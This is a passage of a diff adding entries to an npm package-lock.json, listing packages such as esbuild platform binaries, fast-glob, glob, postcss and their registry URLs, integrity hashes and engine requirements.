"0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-mips64le/-/esbuild-linux-mips64le-0.15.10.tgz", + "integrity": "sha512-BxP+LbaGVGIdQNJUNF7qpYjEGWb0YyHVSKqYKrn+pTwH/SiHUxFyJYSP3pqkku61olQiSBnSmWZ+YUpj78Tw7Q==", + "cpu": [ + "mips64el" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-ppc64le": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-ppc64le/-/esbuild-linux-ppc64le-0.15.10.tgz", + "integrity": "sha512-LoSQCd6498PmninNgqd/BR7z3Bsk/mabImBWuQ4wQgmQEeanzWd5BQU2aNi9mBURCLgyheuZS6Xhrw5luw3OkQ==", + "cpu": [ + "ppc64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-riscv64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-riscv64/-/esbuild-linux-riscv64-0.15.10.tgz", + "integrity": "sha512-Lrl9Cr2YROvPV4wmZ1/g48httE8z/5SCiXIyebiB5N8VT7pX3t6meI7TQVHw/wQpqP/AF4SksDuFImPTM7Z32Q==", + "cpu": [ + "riscv64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-linux-s390x": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-linux-s390x/-/esbuild-linux-s390x-0.15.10.tgz", + "integrity": "sha512-ReP+6q3eLVVP2lpRrvl5EodKX7EZ1bS1/z5j6hsluAlZP5aHhk6ghT6Cq3IANvvDdscMMCB4QEbI+AjtvoOFpA==", + "cpu": [ + "s390x" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-netbsd-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-netbsd-64/-/esbuild-netbsd-64-0.15.10.tgz", + "integrity": "sha512-iGDYtJCMCqldMskQ4eIV+QSS/CuT7xyy9i2/FjpKvxAuCzrESZXiA1L64YNj6/afuzfBe9i8m/uDkFHy257hTw==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-openbsd-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-openbsd-64/-/esbuild-openbsd-64-0.15.10.tgz", + "integrity": "sha512-ftMMIwHWrnrYnvuJQRJs/Smlcb28F9ICGde/P3FUTCgDDM0N7WA0o9uOR38f5Xe2/OhNCgkjNeb7QeaE3cyWkQ==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-sunos-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-sunos-64/-/esbuild-sunos-64-0.15.10.tgz", + "integrity": "sha512-mf7hBL9Uo2gcy2r3rUFMjVpTaGpFJJE5QTDDqUFf1632FxteYANffDZmKbqX0PfeQ2XjUDE604IcE7OJeoHiyg==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-windows-32": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-windows-32/-/esbuild-windows-32-0.15.10.tgz", + "integrity": "sha512-ttFVo+Cg8b5+qHmZHbEc8Vl17kCleHhLzgT8X04y8zudEApo0PxPg9Mz8Z2cKH1bCYlve1XL8LkyXGFjtUYeGg==", + "cpu": [ + "ia32" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-windows-64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-windows-64/-/esbuild-windows-64-0.15.10.tgz", + "integrity": "sha512-2H0gdsyHi5x+8lbng3hLbxDWR7mKHWh5BXZGKVG830KUmXOOWFE2YKJ4tHRkejRduOGDrBvHBriYsGtmTv3ntA==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/esbuild-windows-arm64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/esbuild-windows-arm64/-/esbuild-windows-arm64-0.15.10.tgz", + "integrity": "sha512-S+th4F+F8VLsHLR0zrUcG+Et4hx0RKgK1eyHc08kztmLOES8BWwMiaGdoW9hiXuzznXQ0I/Fg904MNbr11Nktw==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/estree-walker": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-2.0.2.tgz", + "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==" + }, + "node_modules/fast-glob": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.2.tgz", + "integrity": "sha512-oX2ruAFQwf/Orj8m737Y5adxDQO0LAB7/S5MnxCdTNDd4p6BsyIVsv9JQsATbTSq8KHRpLwIHbVlUNatxd+1Ow==", + "dev": true, + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.4" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-glob/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fastq": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.15.0.tgz", + "integrity": "sha512-wBrocU2LCXXa+lWBt8RoIRD89Fi8OdABODa/kEnyeyjS5aZO5/GNvI5sEINADqP/h8M29UHTHUb53sUu5Ihqdw==", + "dev": true, + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/find-root": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/find-root/-/find-root-1.1.0.tgz", + "integrity": "sha512-NKfW6bec6GfKc0SGx1e07QZY9PE99u0Bft/0rzSD5k3sO/vwkVUpDUKVm5Gpp5Ue3YfShPFTX2070tDs5kB9Ng==" + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "dev": true + }, + "node_modules/fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "dev": true, + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/get-nonce": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-nonce/-/get-nonce-1.0.1.tgz", + "integrity": "sha512-FJhYRoDaiatfEkUK8HKlicmu/3SGFD51q3itKDGoSTysQJBnfOcxU5GxnhE1E6soB76MbT0MBtnKJuXyAx+96Q==", + "engines": { + "node": ">=6" + } + }, + "node_modules/glob": { + "version": "7.1.6", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", + "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/globals": { + "version": "11.12.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", + "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", + "engines": { + "node": ">=4" + } + }, + "node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "engines": { + "node": ">=4" + } + }, + "node_modules/hasown": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.0.tgz", + "integrity": "sha512-vUptKVTpIJhcczKBbgnS+RtcuYMB8+oNzPK2/Hp3hanz8JmpATdmmgLgSaadVREkDm+e2giHwY3ZRkyjSIDDFA==", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/hoist-non-react-statics": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-3.3.2.tgz", + "integrity": "sha512-/gGivxi8JPKWNm/W0jSmzcMPpfpPLc3dY/6GxhX2hQ9iGj3aDfklV4ET7NjKpSinLpJ5vafa9iiGIEZg10SfBw==", + "dependencies": { + "react-is": "^16.7.0" + } + }, + "node_modules/import-fresh": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz", + "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==", + "dependencies": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "dev": true, + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true + }, + "node_modules/invariant": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", + "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", + "dependencies": { + "loose-envify": "^1.0.0" + } + }, + "node_modules/is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==" + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-core-module": { + "version": "2.13.1", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.13.1.tgz", + "integrity": "sha512-hHrIjvZsftOsvKSn2TRYl63zvxsgE0K+0mYMoH6gD4omR5IWB2KynivBQczo3+wF1cCkjzvptnI9Q0sPU66ilw==", + "dependencies": { + "hasown": "^2.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/jiti": { + "version": "1.21.0", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.0.tgz", + "integrity": "sha512-gFqAIbuKyyso/3G2qhiO2OM6shY6EPP/R0+mkDbyspxKazh8BXDC5FiFsUjlczgdNz/vfra0da2y+aHrusLG/Q==", + "dev": true, + "bin": { + "jiti": "bin/jiti.js" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==" + }, + "node_modules/jsesc": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz", + "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==", + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/json-parse-even-better-errors": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==" + }, + "node_modules/json5": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.1.tgz", + "integrity": "sha512-1hqLFMSrGHRHxav9q9gNjJ5EXznIxGVO09xQRrwplcS8qs28pZ8s8hupZAmqDwZUmVZ2Qb2jnyPOWcDH8m8dlA==", + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/lilconfig": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.1.0.tgz", + "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==" + }, + "node_modules/loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "dependencies": { + "js-tokens": "^3.0.0 || ^4.0.0" + }, + "bin": { + "loose-envify": "cli.js" + } + }, + "node_modules/magic-string": { + "version": "0.26.6", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.26.6.tgz", + "integrity": "sha512-6d+3bFybzyQFJYSoRsl9ZC0wheze8M1LrQC7tNMRqXR4izUTDOLMd9BtSuExK9iAukFh+s5K0WAhc/dlQ+HKYA==", + "dev": true, + "dependencies": { + "sourcemap-codec": "^1.4.8" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/micromatch": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz", + "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", + "dev": true, + "dependencies": { + "braces": "^3.0.2", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/mz": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz", + "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==", + "dev": true, + "dependencies": { + "any-promise": "^1.0.0", + "object-assign": "^4.0.1", + "thenify-all": "^1.0.0" + } + }, + "node_modules/nanoid": { + "version": "3.3.7", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.7.tgz", + "integrity": "sha512-eSRppjcPIatRIMC1U6UngP8XFcz8MQWGQdt1MTBQ7NaAmvXDfvNxbvWV3x2y6CdEUciCSsDHDQZbhYaB8QEo2g==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/node-releases": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.6.tgz", + "integrity": "sha512-PiVXnNuFm5+iYkLBNeq5211hvO38y63T0i2KKh2KnUs3RpzJ+JtODFjkD8yjLwnDkTYF1eKXheUwdssR+NRZdg==" + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-hash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz", + "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dev": true, + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "dependencies": { + "callsites": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/parse-json": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", + "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", + "dependencies": { + "@babel/code-frame": "^7.0.0", + "error-ex": "^1.3.1", + "json-parse-even-better-errors": "^2.3.0", + "lines-and-columns": "^1.1.6" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==" + }, + "node_modules/path-type": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", + "engines": { + "node": ">=8" + } + }, + "node_modules/picocolors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz", + "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==" + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/pirates": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.6.tgz", + "integrity": "sha512-saLsH7WeYYPiD25LDuLRRY/i+6HaPYr6G1OUlN39otzkSTxKnubR9RTxS3/Kk50s1g2JTgFwWQDQyplC5/SHZg==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/postcss": { + "version": "8.4.32", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.32.tgz", + "integrity": "sha512-D/kj5JNu6oo2EIy+XL/26JEDTlIbB8hw85G8StOE6L74RQAVVP5rej6wxCNqyMbR4RkPfqvezVbPw81Ngd6Kcw==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "nanoid": "^3.3.7", + "picocolors": "^1.0.0", + "source-map-js": "^1.0.2" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/postcss-import": { + "version": "15.1.0", + "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz", + "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.0.0", + "read-cache": "^1.0.0", + "resolve": "^1.1.7" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "postcss": "^8.0.0" + } + }, + "node_modules/postcss-js": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.0.1.tgz", + "integrity": "sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw==", + "dev": true, + "dependencies": { + "camelcase-css": "^2.0.1" + }, + "engines": { + "node": "^12 || ^14 || >= 16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + "peerDependencies": { + "postcss": 